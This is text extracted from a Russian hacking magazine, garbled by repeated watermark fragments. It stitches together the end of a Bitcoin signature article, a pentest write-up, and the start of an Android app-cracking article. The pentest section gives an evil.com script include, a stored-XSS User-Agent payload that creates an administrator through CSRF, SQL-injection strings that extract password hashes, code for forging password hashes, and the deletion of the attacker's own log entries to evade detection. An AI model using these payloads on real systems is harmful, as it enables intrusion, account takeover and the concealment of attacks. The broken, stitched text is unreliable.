ЭЦП НА ПРАКТИКЕ

В России, как и во многих развитых странах, электронная подпись имеет официальный юридический статус. У нас этот факт регламентирует закон № 63ФЗ «Об электронной подписи». Однако он утверждает, что юридической силой обладает далеко не любая электронная подпись, а только соответствующая определенным критериям:

подпись сгенерирована посредством криптографического преобразования с секретным ключом;

этот ключ и соответствующий ему открытый ключ выданы квалифицированным удостоверяющим центром;

по подписи можно достоверно установить ее обладателя.

Подпись также должна быть вычислена средствами, соответствующими требованиям закона. Этим требованиям удовлетворяет отечественный алгоритм шифрования ГОСТ 34.10—2012. Он использует математический аппарат эллиптических кривых, является достаточно стойким и официально используется для разработки криптографических средств, реализующих электронную подпись. Для того чтобы попробовать неквалифицированную подпись — без сертификата удостоверяющего центра, можно воспользоваться известной PGP. Потестировать подпись можно, к примеру, на сайте ReadVerify.

Стоит сказать, что в нашей стране электронная подпись используется чаще, чем можно себе представить. В банках, налоговых, торгово-закупочных операциях, бухгалтерии — во всех этих организациях используется или внедряется ЭЦП. Электронная подпись отважно борется со злом бюрократии, однако до полной победы еще далеко.

За рубежом электронный документооборот процветает еще дольше. Официальный стандарт электронной подписи в США DSS (Digital Signature Standard) также использует эллиптические кривые и основан на описанной выше схеме Эль-Гамаля.

ЦИФРОВАЯ ПОДПИСЬ В BITCOIN

Помимо прочего, электронная подпись используется в криптовалютах, в частности — в Bitcoin. У каждого пользователя Bitcoin есть пара из секретного и открытого ключа. Хеш-значение открытого ключа служит основным адресом для передачи монет. Это значение не секретно, и сообщать его можно кому угодно. Но по значению хеша вычислить значение открытого ключа невозможно.

Сама пара ключей будет использована лишь однажды — при передаче прав собственности. На этом жизнь пары ключей заканчивается.

PUB1 — публичный ключ;

PRIV1 — секретный ключ;

HASH1 или HASH(PUB1) — хеш-значение открытого ключа (биткойн-адрес);

HASH2 или HASH(PUB2) — хеш открытого ключа следующего владельца.

Вот как устроен сам процесс передачи прав собственности на биткойны.

1.Владелец монеты открыто сообщает хеш своего публичного ключа HASH(PUB1), это и будет идентифицировать биткойн.

2.До момента продажи оба ключа PUB1, PRIV1 продавца остаются в секрете. Известен только HASH(PUB1) и соответствующий ему биткойн.

3.Как только появляется покупатель, владелец формирует открытое письмо, в котором указывает адрес биткойна HASH(PUB1) и хеш-значение публичного ключа нового владельца HASH(PUB2). И конечно же, подписывает письмо своим секретным ключом PRIV1, прилагая публичный ключ PUB1.

4.После этого пара ключей владельца PUB1 и PRIV1 теряют свою актуальность. Публичным ключом можно проверить само письмо, узнать новый адрес монеты.

О втором собственнике ничего не известно, кроме HASH(PUB2), до тех пор пока он не передаст права третьему владельцу. И эта цепочка может быть бесконечной.

Подписывая передачу прав с использованием ЭЦП, собственник подтверждает не только свою личность, но и свое согласие на проведение сделки. То есть вернуть монетку он уже не может и с этим согласился, подписавшись электронной подписью.

Благодаря HASH(PUB) получается двойная защита. Первая загадка — узнать публичный ключ по его хешу. Вторая загадка — подписаться чужим секретным ключом.

Такая технология построения цепи передачи прав и называется блокчейном. Благодаря этой технологии можно отследить историю владения до самых истоков, но изменить эту историю никак нельзя.

ВЫВОДЫ

Будущее неразрывно связано с криптографией. В один прекрасный момент при получении паспорта наши дети будут генерировать электронную подпись и покупать чипсы в ларьке за криптовалюту. Что готовит нам будущее с точки зрения развития криптографии, посмотрим в следующей статье на примере квантовых компьютеров.

Владимир Петров vovanov575@gmail.com

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

ВЗЛОМ

 

 

 

df-x

han

 

 

 

w Click

to

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

БЭКАП= БЭКДОР

ИЛИ ИСТОРИЯ ОДНОГО ПЕНТЕСТА

Я работаю в большой организации, и, как положено большой организации, у нас есть внутренние веб-приложения, которые реализуют довольно ответственную бизнес-логику. Именно о таком приложе-

нии мы сегодня и поговорим, проведем его анализ защищенности, найдем парочку уязвимостей и навсегда уясним, как не стоит хранить бэкапы. Сразу скажу, данное веб-приложение не имеет доступа в интернет и все найденные уязвимости уже устранены.

РАЗВЕДКА

Итак, приступим. Рабочая директория этого веб-приложения — /slat/, и туда нас посылает заголовок Location в ответе сервера со статус-кодом 302 в случае обращения к корневой директории (рис. 1).

Рис. 1. Обращение к корневойдиректории

При обращении к этой директории происходит еще одно перенаправление на HTTPS-версию, которая использует самоподписанный сертификат (рис. 2).

Рис. 2. Перенаправлениена HTTPS-версиюсервиса

Как видишь, сервер отвечает статус-кодом 302 и в ответе присутствует заголовок Set-Cookie, что небезопасно: при таком алгоритме выдачи идентификатора сессии его можно перехватить во время получения идентификатора по протоколу HTTP. Для этого достаточно просто реализовать MITM-атаку (встав посередине между клиентом и сервером) и прослушать трафик.

Но спешу тебя заверить: такой фокус не проходит, потому что, когда на HTTPS-версию сервиса обращаются с идентификатором, выданным ранее по HTTP, сервер не принимает данный идентификатор и еще раз выставляет заголовок Set-Cookie с новым идентификатором и такими же флагами.

И что такого в HTTPS-версии сервиса, как нам это помешает? А помешает нам это тем, что провести XSS-атаку с подгружаемым с HTTP-домена внешним скриптом не получится:

<script src="http://evil.com/evil.js"></script>

Если мы подгрузим такой скрипт с HTTP-домена, то более-менее современный браузер клиента ругнется на mixed content, не загрузит и не выполнит его (рис. 3).

Рис. 3. Блокировка HTTP-контента насайтах, использующих HTTPS

Тогда у нас не остается выбора, кроме как подгружать внешний скрипт с HTTPS-домена, но самоподписанный сертификат тут не пройдет, и нам придется покупать сертификат.

Идем дальше. При обращении к директории /slat/ запрос обрабатывает скрипт /slat/index.php, который просит нас ввести свои учетные данные (они у нас есть, для теста на проникновение была предоставлена учетная запись с административными правами, тестируем методом серого ящика). Так выглядит страница аутентификации (рис. 4).

Рис. 4. Страница аутентификации

Первым делом начнем с того, что узнаем как можно больше об исследуемой системе, посмотрим на эту же страницу аутентификации в raw-формате (рис. 5).

Рис. 5. Код страницы аутентификации

Какие выводы мы можем сделать на данном этапе:

1.Сервер не выдает информацию о себе. Мы видим, что это Apache, но не знаем, какой версии и в какой ОС он работает (заголовок Server можно изменить, так что полностью доверять ему не стоит).

2.Значение заголовка Set-Cookie говорит нам о том, что PHPSESSID (сессионный идентификатор пользователя) должен передаваться только по протоколу HTTPS (флаг secure) и перехватить его, прослушивая трафик, не получится, как и получить его значение с помощью XSS (флаг HttpOnly), если, конечно, на сервере запрещен метод Trace. Ведь если метод Trace доступен, тогда возможно провести атаку XST и считать Cookie, даже если они защищены флагом HttpOnly.

3.Заголовок CSP (Content Security Policy) не используется, а данная технология позволяет четко задать список ресурсов, с которых возможно загружать скрипты, стили, фреймы и прочее. Кстати, во второй версии CSP можно даже указать хеш-сумму скрипта, который может быть исполнен. Значит, все-таки стоит подумать об XSS.

4.Объявлен тип строгого синтаксиса XHTML, поэтому забываем об атаке RPO (Relative Path Overwrite).

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" … >

5.Данное приложение использует библиотеку jQuery, а это значит, что XSS для нас сильно упрощается, так как мы можем использовать короткие и емкие методы jQuery (write less, do more — так вроде звучит их слоган), в случае если у нас будет ограниченный размер полезной нагрузки.

АТАКА НА КЛИЕНТОВ ВЕБ-ПРИЛОЖЕНИЯ

Обычно тест на проникновение в таких закрытых системах я начинаю с проведения атак на клиентов, так как их защитой обычно пренебрегают. Но, как видно из первичного анализа, не стоит ожидать особо больших результатов при проведении атак на клиентов этого веб-приложения.

XSS

При упоминании атак на клиентов первое, что приходит в голову, — это XSS-а- таки, которые существуют благодаря недостаточному или полному отсутствию фильтрации вывода данных на страницу.

Как правило, одна из основных целей XSS атак — это угон сессий. Узнаем, сможем ли мы украсть PHPSESSID. Исходя из того, что мы уже знаем, у нас есть шанс украсть данный идентификатор, только если метод Trace доступен на сервере.

Рис. 6. Запрос методомTrace

Как видно из рис. 6, сервер запрещает использование метода Trace, так что мы забываем об атаке XST и пока что забываем об XSS.

CSRF

Следующее важное звено в атаках на клиентов — это CSRF. Ситуация та же: все важные формы защищены с помощью CSRF-токена. Но данный токен выдается один раз на всю сессию пользователя, и, что самое интересное, разработчики с помощью JavaScript могут получить его значение — а если они могут, то и мы сможем (рис. 7).

Рис. 7. Получение значения CSRF-токена висходном коде страницы

ПРОВЕДЕНИЕ АТАКИ

Итак, что у нас есть на данный момент: мы можем получить значение CSRF-то- кена, который не протухает в течение всей пользовательской сессии, с помощью XSS, осталось только ее найти. Что же я только не делал, как только не пробовал инъектировать client-side-код в выводимые пользователю страницы, как много времени у меня ушло на поиск отраженных XSS, но ничего не выходило!

Однако через некоторое время я натолкнулся на интересную вкладку под названием «История изменений» (рис. 8).

Рис. 8. Вкладка «История изменений»

В этой вкладке ведется история всех изменений в сервисе, но, кроме того, в историю записываются факты аутентификации: кто, когда, с какого IP-адреса и с каким User-Agent зашел (рис. 9).

Рис. 9. Сохранение вистории факта входа пользователя всистему

А существует ли фильтрация строки User-Agent? Проверим это с помощью дополнения Modify Headers. Изменим User-Agent браузера, в качестве наиболее короткого примера выберем строку User-Agent для браузера Internet Explorer в Windows XP: Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) — всего 46 байт, а в качестве проверки на наличие фильтров добавим к данной строке следующее:

<script>console.log(document.cookie)</script>

Данный скрипт выведет в консоль браузера текущие Cookie пользователя. Мы специально не пользуемся функциями alert и prompt, поскольку они могут нас скомпрометировать, когда администратор сервиса будет просматривать вкладку «История изменений». Получаем еще 45 байт, итого 91 байт полезной нагрузки. Так выглядит получившийся User-Agent в Modify Headers (рис. 10).

Рис. 10. Строка User-Agent вModify Headers

А теперь проверим, фильтрует ли приложение строку User-Agent. Для этого заново проходим аутентификацию в сервисе с уже измененным значением заголовка User-Agent, открываем консоль браузера и переходим во вкладку «История изменений» (рис. 11).

Рис. 11. Проверка фильтрации строки User-Agent

Как видим, в консоли браузера появилось значение CSRF-TOKEN=…, а это значит, что наша полезная нагрузка отработала, при этом строка в истории говорит о том, что пользователь просто вошел в систему с использованием браузера Internet Explorer в Windows XP.

Итого на данный момент получаем следующее: хранимая XSS с условием, что злоумышленник пройдет аутентификацию, а администратор просмотрит историю изменений. Не так уж и плохо.

Теперь придумаем коварную полезную нагрузку. Первое, что приходит в голову, — создать нового администратора в приложении. Что для этого нужно:

1.Пользователь с административными правами в сервисе должен просмотреть строку в истории изменений, в которой будет содержаться наша полезная нагрузка.

2.Нам необходимо узнать спецификацию запроса на добавление нового пользователя с административными правами.

3.Размер полезной нагрузки не должен превышать длины буфера, который используется для вывода строки User-Agent.

Длину буфера, который хранит строку с User-Agent, мы не знаем, а чтобы узнать, нам придется отправить длинную строку в заголовке User-Agent на этапе аутентификации в приложении, что нас сразу же выдаст, если администратор просмотрит историю. Раз мы не можем узнать длину буфера, просто ориентируемся на минимальный объем полезной нагрузки, который только получится.

Административные права в приложении у нас есть, так как нам предоставлена админская учетная запись в целях тестирования, а спецификацию запроса сейчас узнаем. Для этого попробуем создать пользователя и перехватим запрос к серверу с помощью Burp Suite (рис. 12).

Рис. 12. Запрос надобавление нового пользователя

Теперь есть все необходимое для создания полезной нагрузки на JavaScript, которая создаст нового администратора в сервисе:

1.В запросе на добавление пользователя присутствует значение CSRF-то- кена (второй параметр в теле POST-запроса), данное значение мы можем получить из document.cookie, удалив первые 11 байт: t=document.cookie. substr(11);.

2.Необходимо отправить POST-запрос, для этого к нам на помощь придет jQuery c методом POST: $.post("/slat/add.php","mode=add_ user&csrf="+t+"…")

В общем, User-Agent будет выглядеть так:

Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)<script>t=

document.cookie.substr(11);$.post("/slat/add.php","mode=

add_user&csrf="+t+"…");</script>

Перехватываем в Burp Suite запрос на аутентификацию в сервисе и подменяем User-Agent (рис. 13).

Рис. 13. Подмена User-Agent вBurp Suite

Как видишь, данный запрос должен создать администратора сервиса с именем А, логином АB (ограничение приложения: логин должен содержать от 2 до 20 символов) и паролем А.

Проверим, работает ли наша полезная нагрузка. Для этого опять перейдем во вкладку «История изменений» и откроем вкладку «Network» в консоли браузера, чтобы убедиться, что браузер отправляет POST-запрос на добавление пользователя (рис. 14).

Рис. 14. Отправка запроса надобавление пользователя

Запрос был успешно отправлен браузером (получен статус-код 200), а так как наша учетная запись имеет административные права, то новый пользователь был успешно создан. Попробуем аутентифицироваться с новыми учетными данными (рис. 15).

Рис. 15. Аутентификация

Аутентификация пройдена (рис. 16).

Рис. 16. Аутентификация пройдена

И у нашей новой учетной записи административные права, цель достигнута (рис. 17).

Рис. 17. Списокпользователейсервиса

РЕЗУЛЬТАТ № 1

С атаками на пользователей закончим. Итого в сухом остатке следующий вектор: внутренний злоумышленник с минимальными правами в сервисе может получить к нему административный доступ через хранимую XSS в строке UserAgent при прохождении аутентификации в сервисе, данная XSS сработает тогда, когда администратор просмотрит историю изменений. Для оценки найденных уязвимостей мы используем систему оценки CVSS второй версии. Да, да, ты говоришь: уже есть третья версия, почему вы используете устаревшую? Но мы к ней привыкли :). Кстати, если тебе интересно, как оценить найденную уязвимость, то можешь воспользоваться этим сайтом или этим.

Вектор CVSS v2: (AV:N/AC:H/Au:S/C:C/I:C/A:C), базовая оценка: 7.1.

АТАКА НА СЕРВЕР

А мы продолжим. Теперь займемся сервером и углубим нашу разведку. Сперва узнаем установленную ОС. Для этого воспользуемся всем известным средством сетевого сканирования Nmap. Из результатов сканирования видим, что веб-приложение работает на ОС Windows и, кроме 80-го и 443-го портов, открыт еще и 5432-й (СУБД PostgreSQL).

Говорить про поиск поддоменов и виртуал-хостов особого смысла нет, так как системы подобного рода строятся по принципу один сервер = одно приложение. Но никто нам не мешает поискать бэкапы, оставленные заботливыми администраторами в доступной для нас директории (Google Hacking Database (GHDB) нам не поможет, так как система не выходит в интернет). Для того чтобы пройтись по приложению и сбрутить имена файлов и директорий, воспользуемся утилитой DirBuster. Брут также интересных результатов не дал. Да... Негусто:

1.ОС: Windows.

2.Web server: Apache.

3.DBMS: PostgreSQL.

4.Backend: PHP.

SQLI

Идем дальше. Проверим наше веб-приложение на наличие SQLi. Потеряв большое количество времени и использовав все возможные фокусы при инъекциях в строковые параметры, я все-таки перешел к числовым — и не зря.

Рис. 18. Запрос счисловым параметром

Протестируем параметр id в POST-запросе на выдачу информации об управлении. Как видно из рис. 18, в базе данных содержится управление с именем «Тестовые данные» и номером 417. Теперь попробуем запросить управление с номером 418-1 (рис. 19).

Рис. 19. Проверка наSQLi

Выражение 418-1 выполнилось, и сервер вернул имя управления с номером 417, но при этом инъекции в строковый параметр не проходят, а это значит, что, скорее всего, санитизация входящего параметра проводится, а вот типизация и валидация — нет, поэтому SQLi есть.

Для дальнейшей атаки с помощью UNION-запроса необходимо определить количество и формат полей в запросе, в параметр которого происходит инъекция. Для этого в параметр подставим неверный идентификатор управления, например -1, и будем перебирать количество полей с использованием значения null, так как данное значение возможно выводить и со строковыми параметрами, и с числовыми. Также для определения количества полей в запросе можно воспользоваться оператором GROUP BY, но это уже кому как больше нравится.

Рис. 20. Проверка количества параметров выборки

Как видно из рис. 20, в запросе осуществляется выборка по трем полям: первое — числовое, второе и третье — строковые.

Во время тестирования удалось определить следующее:

1.На страницу сервер выводит результат выборки по первым двум полям.

2.Происходит санитизация кавычек и знака точка с запятой.

При санитизации для UNION-запросов с условием (WHERE), где необходимо сделать сравнение со строкой, будем пользоваться функциями concat и CHR: первая соединяет символы или подстроки в одну строку, вторая позволяет выводить ASCII-символы по их номеру.

Попробуем узнать с помощью SQLi побольше информации: версию СУБД, текущего пользователя и базу данных (рис. 21).

Рис. 21. Вывод информации

А сейчас попытаемся узнать пароль или хеш пароля администратора веб-при- ложения. Чтобы это сделать, необходимо выполнить такой запрос:

-1 UNION SELECT 1,password,null FROM users WHERE login='admin'

В условиях санитизации кавычек запрос будет выглядеть так:

-1 UNION SELECT 1,password,null FROM users WHERE login=concat

(CHR(97),CHR(100),CHR(109),CHR(105),CHR(110)).

Рис. 22. Получениепароляадминистратора

Хеш пароля администратора мы получили (рис. 22), но при этом алгоритм хеширования восстановить не удалось. Единственное, что можно предположить исходя из длины хеша, — это то, что алгоритм хеширования, возможно, имеет вид

sha512(salt + md5(md5(password))).

РЕЗУЛЬТАТ № 2

У нас есть еще один вектор: внутренний злоумышленник, имеющий аутентификационные данные и минимальные права в приложении, может провести атаку SQLi на базу данных веб-приложения и считать из нее все данные.

Вектор CVSS v2: (AV:N/AC:H/Au:S/C:C/I:N/A:N), базовая оценка: 4.9.

SQLi в числовой параметр в условиях санитизации одинарных кавычек и знака точка с запятой значит, что данные мы считать сможем, докуда дотянемся, а вот INSERTили UPDATE-запросы сделать не получится. Это, конечно, не манипулирование пользователями сервиса или shell, но хоть что-то.

Дальнейшие пути развития

В нашей статье при атаке на сервер используется только SQLi, но не стоит забывать и о таких атаках, как RFI, LFI или XXE. И еще: если после сетевого сканирования ты точно знаешь версии сервисов, то обязательно посмотри, есть ли на них публичные эксплоиты, — ведь это стоит на 9-м месте в OWASP top 10.

Продолжение статьи

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ВЗЛОМ

 

 

 

df-x

han

 

 

 

 

w Click

to

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

c

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

БЭКАПНачало статьи = БЭКДОР

ИЛИ ИСТОРИЯ ОДНОГО ПЕНТЕСТА

БЭКАП

После того как я потратил еще какое-то количество времени на поиск server-side-уязвимостей, мне вдруг пришла одна очень интересная мысль: если рабочая директория сервиса называется sflat, то, может, ее бэкап тоже называется sflat? Мысль оказалась верной. В корневой директории сервера находился архив sflat.rar (рис. 23)!

Рис. 23. Архив сбэкапом приложения

В архиве содержался исходный код приложения, находящийся в рабочей директории проекта (рис. 24).

Рис. 24. Листинг архива

При анализе исходников были найдены две учетные записи для доступа к СУБД (рис. 25).

Рис. 25. Учетные данные дляподключения кСУБД

Пользователи rХХХХХХa, eХХХХХХa и пароли к ним в открытом виде. Удаленное подключение к базе данных результатов не дало (рис. 26).

Рис. 26. Прямое подключение кСУБД

Судя по ответу СУБД, можно сделать вывод о том, что удаленное подключение возможно только с доверенных IP-адресов.

ПОДГОТОВКА К АТАКЕ

При дальнейшем анализе исходных кодов была обнаружена директория / sflat/slov/ со служебными скриптами (рис. 27).

Рис. 27. Листинг служебной директории

В этой служебной директории находился один очень интересный скрипт — stepenrod.php:

<?php

header('Content-Type: text/html; charset=utf-8');

if ($_SERVER'HTTP_X_REQUESTED_WITH' ( == 'XMLHttpRequest') {

if ($_GET['q']) {

include('./../include/connect.php');

include('./../include/func.php');

$sql = "SELECT id, text FROM dict.relation WHERE LOWER

(text) LIKE '" . strtolower_cyr($_GET['q']) . "%'";

$res = pg_query($sql);

if (!$res) die('Invalid query: ' . pg_result_error());

$output = "";

while ($f = pg_fetch_array($res)) {

$output .= "|" . $f['id'] . "|" . $f['text'] . "\n";

}

//header('Content-Type: text/html; charset=utf-8');

echo $output;

}

}

?>

Как видно из кода, для обращения к данному скрипту необходимо выставить заголовок запроса X-Requested-With со значением XMLHttpRequest. На вход данный скрипт принимает GET-параметр с именем q и производит SELECT-запрос к базе данных, при этом входной параметр не фильтруется. Данный недостаток позволяет произвести атаку SQLi.

ОПРЕДЕЛЕНИЕ СПЕЦИФИКАЦИИ ЗАПРОСА НА ДОБАВЛЕНИЕ ПОЛЬЗОВАТЕЛЯ

Дальнейший анализ исходных кодов выявил, что в скрипте add.php содержится спецификация запроса на создание нового пользователя (рис. 28). Имя и тип столбцов в таблице users возможно узнать также и с помощью SQLi, но частые обращения к одному и тому же скрипту и SQLi в GET-параметре могут привести к компрометации исследователя, поэтому при наличии исходного кода лучше пользоваться им.

Рис. 28. Спецификация запроса надобавление пользователя

После определения необходимых полей INSERT-запроса для создания пользователя необходимо определить их валидные значения. Для этого сделаем выборку данных значений по существующему пользователю с помощью инъекции, основанной на UNION-запросе. В качестве имени пользователя выберем значение admin (рис. 29).

Рис. 29. Выборка всех полей таблицы users пользователя admin

ОПРЕДЕЛЕНИЕ АЛГОРИТМА ХЕШИРОВАНИЯ ПАРОЛЯ

Как видишь, в INSERT-запросе нет поля password, но при выборке данное поле доступно, и там расположен хеш пароля. Для определения алгоритма хеширования также воспользуемся имеющимся исходным кодом. Для этого заглянем в скрипт add.php, в котором и определен алгоритм хеширования пароля (рис. 30).

Рис. 30. Алгоритм хеширования пароля

При этом мы знаем, что к бэкенду пароль в открытом виде не приходит. Он хешируется на стороне клиента с помощью JavaScript и отправляется в формате md5(md5(password)) (рис. 31).

Рис. 31. Хешированиепароляна сторонеклиента

В итоге получаем следующий алгоритм хеширования пароля:

sha512(id_user + md5(md5(password)))

Таким образом, у нас есть вся необходимая информация для создания нового пользователя в веб-приложении без прохождения аутентификации.

СОЗДАНИЕ ПОЛЬЗОВАТЕЛЯ

А теперь попробуем создать пользователя с логином sqli, именем The_SQL_ injection_Bypass и административным доступом к системе (рис. 32).

Рис. 32. Запрос насоздание пользователя

Затем проверим, что пользователь создан, и узнаем его ID (рис. 33).

Рис. 33. Получение ID нового пользователя

ГЕНЕРАЦИЯ ХЕША ПАРОЛЯ ДЛЯ НОВОГО ПОЛЬЗОВАТЕЛЯ

Пользователь создан, его ID 8de553f1-db73-4f03-84ca-a5bc2ca8fdab, для генерации валидного хеша пароля был написан небольшой скрипт create_pass.php (прошу извинить за #говнокод):

<?php

echo "<!DOCTYPE html>\n";

echo "<html><head></head><body>\n";

$id_user = $_GET['id_user'];

echo "<pre>user_id: ".$id_user."</pre>\n";

$password = $_GET['password'];

echo "<pre>password: ".$password."</pre>\n";

$hash_password = hash('md5', hash('md5', $password));

echo "<pre>md5(md5(password)): ".$hash_password."</pre>\n";

$hash = hash( 'sha512',$id_user.$hash_password);

echo "<pre>sha512(md5(md5(user_id + password))): ".$hash.

"</pre>\n";

echo "</body></html>\n"

?>

Создаем нашему пользователю c ID 8de553f1-db73-4f03-84ca- a5bc2ca8fdab хеш для пароля sqli (рис. 34).

Рис. 34. Получение хеша дляпароля sqli

И обновляем хеш пароля для нашего пользователя (рис. 35).

Рис. 35. Обновление пароля длянового пользователя

ПРОВЕРКА

Чтобы проверить, что все получилось, входим в систему с логином sqli и паролем sqli (рис. 36).

Рис. 36. Аутентификация всервисе

Как видно из рис. 37, аутентификация успешно пройдена.

Рис. 37. Аутентификация пройдена

После входа система отобразила заданное при создании имя: «Пользователь: The_SQL_injection_Bypass».

УДАЛЕНИЕ ДЕЙСТВИЙ ИЗ ЛОГА

После того как мы вошли в систему и вышли из нее с учетной записью sqli, наши действия попали в лог. Манипулировать записями в логе также возможно с помощью найденной SQLi. Для начала выведем активность пользователя sqli, выборка осуществляется также на основе айдишника: 8de553f1-db73- 4f03-84ca-a5bc2ca8fdab (рис. 38).

Рис. 38. Вывод журнала действий пользователя sqli

В логах видно, что пользователь sqli вошел в систему и вышел из нее. Такие данные нам в базе ни к чему :) (рис. 39).

Рис. 39. Удаление изжурнала действия пользователя sqli

Ну и наконец, проверим, что записи удалены (рис. 40).

Рис. 40. Журнал действий пользователя sqli пуст

ВЫВОД

Как видишь, благодаря небрежному хранению бэкапа приложения у нас появился еще один вектор с довольно большой базовой оценкой CVSS: внутренний злоумышленник, имеющий сетевую связность с сервером, на котором крутится данное веб-приложение, и не обладающий аутентификационными данными, может провести атаку SQLi на базу данных приложения. В том числе добавить, изменить или удалить пользователей приложения, кроме того, удалить лог своих действий из базы данных, что позволит ему избежать обнаружения и значительно затруднит расследование инцидента.

Вектор CVSS v2: (AV:N/AC:H/Au:N/C:C/I:C/A:C),

базовая оценка: 7.6.

INFO

Если хочешь поподробней разобраться с описанными атаками, рекомендую прочитать следующие вещи:

XSS

SQLi

XST

CSRF

Мысли вслух

Ты спросишь: если у тебя есть не ограниченная санитизацией, типизацией и валидацией SQLi к базе данных сервера, то почему бы тебе просто не выложить shell или сдампить файлы? Ответ прост: пользователь СУБД, из-под которого была проведена данная SQLi, не обладает правами на доступ к файловой системе.

WWW
Protect Your Java
Code — Through
Obfuscators And
Beyond
Obfuscation in Android malware, and how to fight back
Reversing
DexGuard 5.x

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

d

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

i

 

 

 

 

F

 

 

 

 

 

 

i

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

t

 

P

D

 

 

 

 

 

o

 

P

D

 

 

 

 

 

 

o

 

NOW!

r

 

 

NOW!

r

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

to

 

 

 

 

 

 

 

ВЗЛОМ

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

m

w Click

c

 

 

 

 

o

w Click

c

 

 

 

 

o

 

w

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.

 

 

 

 

.c

 

 

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

e

 

 

 

p

 

 

 

 

e

 

 

 

 

g

 

 

 

 

 

 

 

 

g

 

 

 

 

df-x han

 

 

 

 

 

 

df-x han

 

 

 

 

 

 

 

 

 

 

 

 

ЛОМАЕМСОФТ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ДЛЯANDROID

 

 

 

 

 

 

 

 

 

 

Евгений Зобнин zobnin@gmail.com

ЧАСТЬ 3.

ОБФУСКАТОРЫ, УПАКОВЩИКИ И ДРУГИЕ СРЕДСТВА ЗАЩИТЫ КОДА

В прошлых статьях мы узнали, насколько действительно легко взломать и модифицировать приложение для Android. Однако не всегда все бывает так просто.

Иногда разработчики применяют обфускаторы и системы шифрования, которые могут существенно осложнить работу реверсера, поэтому сегодня мы поговорим о том, как разобраться в намеренно запутанном коде, а заодно взломаем еще одно приложение.

На самом деле ты уже должен быть знаком как минимум с одним методом обфускации (запутывания) кода. В прошлой статье мы внедряли зловредную функциональность в WhatsApp, и если ты внимательно читал статью и сам пробовал декомпилировать WhatsApp, то наверняка заметил, что большинство классов приложения, почти все его методы и переменные имеют странные имена: aa, ab либо что-то вроде 2F323988C, если смотреть код с помощью декомпилятора jadx.

Это и есть обфускация, и я могу с полной уверенностью утверждать, что проделана она с помощью инструмента ProGuard из комплекта Android Studio. Именно он выдает на выходе такие странные имена классов, методов и переменных, а кроме того, удаляет неиспользуемый код и оптимизирует некоторые участки приложения с помощью инлайнинга методов.

Пропущенный через ProGuard код более компактен, занимает меньше памяти и намного более сложен для понимания. Но только в том случае, если это большое приложение. Разобраться, что делает простой обфусцированный код, очень легко:

Но представь, если из подобных буквенных, цифровых или буквенно-цифро- вых обозначений (ProGuard позволяет использовать любой словарь для генерации идентификаторов) будет состоять громоздкое приложение в десятки тысяч строк кода:

И так на тысячи строк вперед, а дальше твой декомпилятор может поперхнуться кодом и выдать вместо Java нечто вроде этого:

